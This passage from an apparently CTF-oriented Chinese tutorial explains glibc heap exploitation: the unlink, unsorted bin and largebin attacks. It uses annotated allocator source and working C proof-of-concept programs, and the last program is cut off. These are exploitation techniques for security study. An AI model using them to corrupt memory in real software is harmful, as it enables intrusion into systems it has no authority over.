bin中）</code>机制，剩下的会被放入tcache中<code>p8-&gt;p7</code>。由于我们刚刚拿到了<code>p7指向的chunk</code>，因此我们可以修改其fd位置为target，然后tcache中就变成了<code>p8-&gt;p7-&gt;target</code>，然后就可以直接利用了。</p><h4 id="libc-2-32以后-1"><a href="#libc-2-32以后-1" class="headerlink" title="libc-2.32以后"></a>libc-2.32以后</h4><p>与fastbin在libc-2.32以后新增的保护相同，利用方式参照其即可。</p><p>**要注意的是：**在利用时要保持要利用位置的<code>tcache_counts &gt; 0</code>，这是因为存在保护<code>assert (tcache-&gt;counts[tc_idx] &gt; 0);</code>，这个保护似乎从libc-2.27开始一直存在于tcache中</p><h2 id="Unlink"><a href="#Unlink" class="headerlink" title="Unlink"></a>Unlink</h2><p>unlink漏洞存在于含有双向链表的bin中，在我们对chunk进行精心的内存布局后，可以借助unlink操作来达到修改指针的效果。</p><p>古老的unlink检查比较少，利用起来也相对容易，但对当前学习没有太大价值，因此我们直接看当前的unlink机制就行。</p><p>在最新的glibc2.37下，unlink_chunk函数（似乎一直以来都没变过，只是把原来的宏换成了函数）如下：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Take a chunk off a bin list.  */</span></span><br><span class="line"><span class="type">static</span> <span class="type">void</span></span><br><span class="line"><span class="title function_">unlink_chunk</span> <span class="params">(mstate av, mchunkptr p)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> (chunksize (p) != prev_size (next_chunk (p)))         <span class="comment">//检查 p-&gt;size == p-&gt;next-&gt;presize</span></span><br><span class="line">    malloc_printerr (<span class="string">&quot;corrupted size vs. prev_size&quot;</span>);</span><br><span class="line"></span><br><span class="line">  mchunkptr fd = p-&gt;fd;</span><br><span class="line">  mchunkptr bk = p-&gt;bk;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (__builtin_expect (fd-&gt;bk != p || bk-&gt;fd != p, <span class="number">0</span>))<span class="comment">//检查确保 p 在链中</span></span><br><span class="line">    malloc_printerr (<span class="string">&quot;corrupted double-linked list&quot;</span>);</span><br><span class="line"></span><br><span class="line">  fd-&gt;bk = bk;<span class="comment">//使 p 脱链，由 bk-&gt;p-&gt;fd 变为 bk-&gt;fd</span></span><br><span class="line">  bk-&gt;fd = fd;</span><br><span class="line">    <span class="comment">//以下都属于largebin的unlink处理</span></span><br><span class="line">  <span class="keyword">if</span> (!in_smallbin_range (chunksize_nomask (p)) &amp;&amp; p-&gt;fd_nextsize != <span class="literal">NULL</span>)</span><br><span class="line">    &#123;<span class="comment">//判断是否在smallbin的范围内，并且fd_nextsize是否为空</span></span><br><span class="line">      <span class="keyword">if</span> (p-&gt;fd_nextsize-&gt;bk_nextsize != p</span><br><span class="line">  || p-&gt;bk_nextsize-&gt;fd_nextsize != p)<span class="comment">//判断链是否正确</span></span><br><span class="line">malloc_printerr (<span class="string">&quot;corrupted double-linked list (not small)&quot;</span>);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (fd-&gt;fd_nextsize == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> (p-&gt;fd_nextsize == p)<span class="comment">//若p是唯一结点</span></span><br><span class="line">    fd-&gt;fd_nextsize = fd-&gt;bk_nextsize = fd;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    &#123;  <span class="comment">//正常双向链表删除元素</span></span><br><span class="line">      fd-&gt;fd_nextsize = p-&gt;fd_nextsize;</span><br><span class="line">      fd-&gt;bk_nextsize = p-&gt;bk_nextsize;</span><br><span class="line">      p-&gt;fd_nextsize-&gt;bk_nextsize = fd;</span><br><span class="line">      p-&gt;bk_nextsize-&gt;fd_nextsize = fd;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">      <span class="keyword">else</span><span class="comment">//更新 p 脱链后的 nextsize 指针</span></span><br><span class="line">&#123;</span><br><span class="line">  p-&gt;fd_nextsize-&gt;bk_nextsize = p-&gt;bk_nextsize;</span><br><span class="line">  p-&gt;bk_nextsize-&gt;fd_nextsize = p-&gt;fd_nextsize;</span><br><span class="line">&#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>以64位下为例，对于绕过方式，实际上也非常简单。由于它要求 <code>p-&gt;fd-&gt;bk==p &amp;&amp; p-&gt;bk-&gt;fd==p &amp;&amp; p-&gt;size==p-&gt;next_chunk-&gt;pre_size</code>，而对于size的伪造无需赘述，直接在可控堆块上伪造一个<code>fake_chunk</code>就行，同时修改后一个chunk的<code>pre_size</code>位，并且需要控制<code>p-&gt;next_chunk-&gt;PRE_INUSE == 0</code>，这样才能触发unlink。而我们伪造的重点就在<code>p-&gt;fd-&gt;bk==p &amp;&amp; p-&gt;bk-&gt;fd==p</code>了，如果内存中存在一个指向p的指针，我们称之为<code>target</code>，那么我们就可以伪造<code>p-&gt;fd=target-0x18   p-&gt;bk=target-0x10</code>，从而绕过判断，在<code>target</code>位置写入<code>target-0x18</code>，在一定条件下可实现任意写。</p><p>一个简单的POC：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//验证高版本下的unlink漏洞</span></span><br><span class="line"><span class="type">char</span>* ChunkInfo[<span class="number">20</span>]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//填满tcache</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>;i&lt;<span class="number">11</span>;i++)</span><br><span class="line">ChunkInfo[i] = (<span class="type">char</span>*)<span class="built_in">malloc</span>(<span class="number">0x80</span>);</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>;i&lt;<span class="number">7</span>;i++)</span><br><span class="line"><span class="built_in">free</span>(ChunkInfo[i]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The tcache bin is full.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//修改参数</span></span><br><span class="line">*((<span class="type">long</span>*)ChunkInfo[<span class="number">9</span>]<span class="number">-2</span>) = <span class="number">0x80</span>;    <span class="comment">//修改下一个chunk的presize位</span></span><br><span class="line">*((<span class="type">long</span>*)ChunkInfo[<span class="number">9</span>]<span class="number">-1</span>) = <span class="number">0x90</span>;    <span class="comment">//修改下一个chunk的pre_inuse位为0</span></span><br><span class="line">*((<span class="type">long</span>*)ChunkInfo[<span class="number">8</span>]) = <span class="number">0</span>;   <span class="comment">//fake_chunk的presize位</span></span><br><span class="line">*((<span class="type">long</span>*)ChunkInfo[<span class="number">8</span>]+<span class="number">1</span>) = <span class="number">0x81</span>;  <span class="comment">//size位</span></span><br><span class="line">*((<span class="type">long</span>*)ChunkInfo[<span class="number">8</span>]+<span class="number">2</span>) = (<span class="type">long</span>)(&amp;ChunkInfo[<span class="number">8</span>])<span class="number">-0x18</span>;   <span class="comment">//fd位</span></span><br><span class="line">*((<span class="type">long</span>*)ChunkInfo[<span class="number">8</span>]+<span class="number">3</span>) = (<span class="type">long</span>)(&amp;ChunkInfo[<span class="number">8</span>])<span class="number">-0x10</span>;   <span class="comment">//bk位</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;修改前target位置 %p\n&quot;</span>, ChunkInfo[<span class="number">8</span>]);</span><br><span class="line"><span class="built_in">free</span>(ChunkInfo[<span class="number">9</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;修改后target位置 %p\n&quot;</span>, ChunkInfo[<span class="number">8</span>]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="Unsorted-bin-attack"><a href="#Unsorted-bin-attack" class="headerlink" title="Unsorted bin attack"></a>Unsorted bin attack</h2><p>这是一个比较古老的攻击技巧，从glibc-2.29开始，因为保护机制的增多，已经基本失效。而且这个攻击方式仅可作为辅助利用，攻击效果就是在任意位置写入一个不可控的大值。</p><p>glibc-2.27及以前检查部分：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (;; )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="type">int</span> iters = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> ((victim = unsorted_chunks (av)-&gt;bk) != unsorted_chunks (av))</span><br><span class="line">      &#123;</span><br><span class="line">        bck = victim-&gt;bk;</span><br><span class="line">        <span class="keyword">if</span> (__builtin_expect (chunksize_nomask (victim) &lt;= <span class="number">2</span> * SIZE_SZ, <span class="number">0</span>)</span><br><span class="line">            || __builtin_expect (chunksize_nomask (victim)</span><br><span class="line">   &gt; av-&gt;system_mem, <span class="number">0</span>))</span><br><span class="line">          malloc_printerr (<span class="string">&quot;malloc(): memory corruption&quot;</span>);</span><br><span class="line">        size = chunksize (victim);</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>再来看看实现写入的部分：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">unsorted_chunks (av)-&gt;bk = bck;</span><br><span class="line">bck-&gt;fd = unsorted_chunks (av);</span><br></pre></td></tr></table></figure></div><p>结合上面的<code>bck = victim-&gt;bk</code>，我们只要能修改victim的bk位为<code>target-0x10</code>，然后那么target位置就能被修改为<code>unsorted_chunks (av)</code>。</p><p>glibc-2.28加入检测，需要在目标位置伪造fd：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (__glibc_unlikely (bck-&gt;fd != victim))</span><br><span class="line">            malloc_printerr (<span class="string">&quot;malloc(): corrupted unsorted chunks 3&quot;</span>);</span><br></pre></td></tr></table></figure></div><p>具体利用的POC可以看看how2heap仓库的 unsorted_bin_attack.c</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;This file demonstrates unsorted bin attack by write a large &quot;</span></span><br><span class="line">                  <span class="string">&quot;unsigned long value into stack\n&quot;</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(</span><br><span class="line">      <span class="built_in">stderr</span>,</span><br><span class="line">      <span class="string">&quot;In practice, unsorted bin attack is generally prepared for further &quot;</span></span><br><span class="line">      <span class="string">&quot;attacks, such as rewriting the &quot;</span></span><br><span class="line">      <span class="string">&quot;global variable global_max_fast in libc for further fastbin attack\n\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">long</span> target_var = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>,</span><br><span class="line">          <span class="string">&quot;Let&#x27;s first look at the target we want to rewrite on stack:\n&quot;</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;%p: %ld\n\n&quot;</span>, &amp;target_var, target_var);</span><br><span class="line"></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">long</span> *p = <span class="built_in">malloc</span>(<span class="number">400</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Now, we allocate first normal chunk on the heap at: %p\n&quot;</span>,</span><br><span class="line">          p);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;And allocate another normal chunk in order to avoid &quot;</span></span><br><span class="line">                  <span class="string">&quot;consolidating the top chunk with&quot;</span></span><br><span class="line">                  <span class="string">&quot;the first one during the free()\n\n&quot;</span>);</span><br><span class="line">  <span class="built_in">malloc</span>(<span class="number">500</span>);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">free</span>(p);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;We free the first chunk now and it will be inserted in the &quot;</span></span><br><span class="line">                  <span class="string">&quot;unsorted bin with its bk pointer &quot;</span></span><br><span class="line">                  <span class="string">&quot;point to %p\n&quot;</span>,</span><br><span class="line">          (<span class="type">void</span> *)p[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">  <span class="comment">/*------------VULNERABILITY-----------*/</span></span><br><span class="line"></span><br><span class="line">  p[<span class="number">1</span>] = (<span class="type">unsigned</span> <span class="type">long</span>)(&amp;target_var - <span class="number">2</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Now emulating a vulnerability that can overwrite the &quot;</span></span><br><span class="line">                  <span class="string">&quot;victim-&gt;bk pointer\n&quot;</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;And we write it with the target address-16 (in 32-bits &quot;</span></span><br><span class="line">                  <span class="string">&quot;machine, it should be target address-8):%p\n\n&quot;</span>,</span><br><span class="line">          (<span class="type">void</span> *)p[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">  <span class="comment">//------------------------------------</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">malloc</span>(<span class="number">400</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Let&#x27;s malloc again to get the chunk we just free. During &quot;</span></span><br><span class="line">                  <span class="string">&quot;this time, target should has already been &quot;</span></span><br><span class="line">                  <span class="string">&quot;rewrite:\n&quot;</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;%p: %p\n&quot;</span>, &amp;target_var, (<span class="type">void</span> *)target_var);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>ctf-wiki 已对其作出详细分析，鄙人不在此赘述，具体请看<a class="link"   href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/#unsorted-bin-attack_1" >Unsorted Bin Attack - CTF Wiki (ctf-wiki.org)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>glibc-2.29的检查部分如下：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (;; )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="type">int</span> iters = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> ((victim = unsorted_chunks (av)-&gt;bk) != unsorted_chunks (av))</span><br><span class="line">      &#123;</span><br><span class="line">        bck = victim-&gt;bk;</span><br><span class="line">        size = chunksize (victim);</span><br><span class="line">        mchunkptr next = chunk_at_offset (victim, size);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (__glibc_unlikely (size &lt;= <span class="number">2</span> * SIZE_SZ)</span><br><span class="line">            || __glibc_unlikely (size &gt; av-&gt;system_mem))</span><br><span class="line">          malloc_printerr (<span class="string">&quot;malloc(): invalid size (unsorted)&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (__glibc_unlikely (chunksize_nomask (next) &lt; <span class="number">2</span> * SIZE_SZ)</span><br><span class="line">            || __glibc_unlikely (chunksize_nomask (next) &gt; av-&gt;system_mem))</span><br><span class="line">          malloc_printerr (<span class="string">&quot;malloc(): invalid next size (unsorted)&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (__glibc_unlikely ((prev_size (next) &amp; ~(SIZE_BITS)) != size))</span><br><span class="line">          malloc_printerr (<span class="string">&quot;malloc(): mismatching next-&gt;prev_size (unsorted)&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (__glibc_unlikely (bck-&gt;fd != victim)</span><br><span class="line">            || __glibc_unlikely (victim-&gt;fd != unsorted_chunks (av)))</span><br><span class="line">          malloc_printerr (<span class="string">&quot;malloc(): unsorted double linked list corrupted&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (__glibc_unlikely (prev_inuse (next)))</span><br><span class="line">          malloc_printerr (<span class="string">&quot;malloc(): invalid next-&gt;prev_inuse (unsorted)&quot;</span>);</span><br></pre></td></tr></table></figure></div><p>显然，它会检查很多条件，利用起来基本不可能。</p><h2 id="Largebin-attack"><a href="#Largebin-attack" class="headerlink" title="Largebin attack"></a>Largebin attack</h2><p>参考文章：[<a class="link"   href="https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_11" >原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/" >Large Bin Attack - CTF Wiki (ctf-wiki.org)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h3 id="libc-2-29及以前"><a href="#libc-2-29及以前" class="headerlink" title="libc-2.29及以前"></a>libc-2.29及以前</h3><p><strong>攻击流程：<strong>向largebin中放入一个chunkA，修改其bk位为<code>target1-0x10</code>，bk_nextsize位为<code>target2-0x20</code>，此时再向largebin中加入一个大小</strong>略小于chunkA</strong>的chunkB。执行如下代码（victim即chunkB，fwd即chunkA）：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">[...]</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">        victim-&gt;fd_nextsize = fwd;</span><br><span class="line">        victim-&gt;bk_nextsize = fwd-&gt;bk_nextsize;</span><br><span class="line">        fwd-&gt;bk_nextsize = victim;</span><br><span class="line">        victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;</span><br><span class="line">&#125;</span><br><span class="line">bck = fwd-&gt;bk;</span><br><span class="line">[...]</span><br><span class="line">mark_bin (av, victim_index);</span><br><span class="line">victim-&gt;bk = bck;</span><br><span class="line">victim-&gt;fd = fwd;</span><br><span class="line">fwd-&gt;bk = victim;</span><br><span class="line">bck-&gt;fd = victim;</span><br></pre></td></tr></table></figure></div><p>经过这些代码，赋值操作为<code>chunkA-&gt;bk_nextsize-&gt;fd_nextsize = chunkB</code>和<code>chunkA-&gt;bk-&gt;fd = chunkB</code>。因此target1和target2均会被赋值为chunkB的地址，即赋值为大数。</p><p>how2heap给出的POC（在没有tcache的版本中实验）：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;This file demonstrates large bin attack by writing a large unsigned long value into stack\n&quot;</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;In practice, large bin attack is generally prepared for further attacks, such as rewriting the &quot;</span></span><br><span class="line">                    <span class="string">&quot;global variable global_max_fast in libc for further fastbin attack\n\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> stack_var1 = <span class="number">0</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> stack_var2 = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Let&#x27;s first look at the targets we want to rewrite on stack:\n&quot;</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;stack_var1 (%p): %ld\n&quot;</span>, &amp;stack_var1, stack_var1);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;stack_var2 (%p): %ld\n\n&quot;</span>, &amp;stack_var2, stack_var2);</span><br><span class="line"></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> *p1 = <span class="built_in">malloc</span>(<span class="number">0x320</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Now, we allocate the first large chunk on the heap at: %p\n&quot;</span>, p1 - <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;And allocate another fastbin chunk in order to avoid consolidating the next large chunk with&quot;</span></span><br><span class="line">                    <span class="string">&quot; the first large chunk during the free()\n\n&quot;</span>);</span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> *p2 = <span class="built_in">malloc</span>(<span class="number">0x400</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Then, we allocate the second large chunk on the heap at: %p\n&quot;</span>, p2 - <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;And allocate another fastbin chunk in order to avoid consolidating the next large chunk with&quot;</span></span><br><span class="line">                    <span class="string">&quot; the second large chunk during the free()\n\n&quot;</span>);</span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> *p3 = <span class="built_in">malloc</span>(<span class="number">0x400</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Finally, we allocate the third large chunk on the heap at: %p\n&quot;</span>, p3 - <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;And allocate another fastbin chunk in order to avoid consolidating the top chunk with&quot;</span></span><br><span class="line">                    <span class="string">&quot; the third large chunk during the free()\n\n&quot;</span>);</span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">free</span>(p1);</span><br><span class="line">    <span class="built_in">free</span>(p2);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;We free the first and second large chunks now and they will be inserted in the unsorted bin:&quot;</span></span><br><span class="line">                    <span class="string">&quot; [ %p &lt;--&gt; %p ]\n\n&quot;</span>,</span><br><span class="line">            (<span class="type">void</span> *)(p2 - <span class="number">2</span>), (<span class="type">void</span> *)(p2[<span class="number">0</span>]));</span><br><span class="line"></span><br><span class="line">    <span class="type">void</span>* p4 = <span class="built_in">malloc</span>(<span class="number">0x90</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the&quot;</span></span><br><span class="line">                    <span class="string">&quot; freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation&quot;</span></span><br><span class="line">                    <span class="string">&quot;, and reinsert the remaining of the freed first large chunk into the 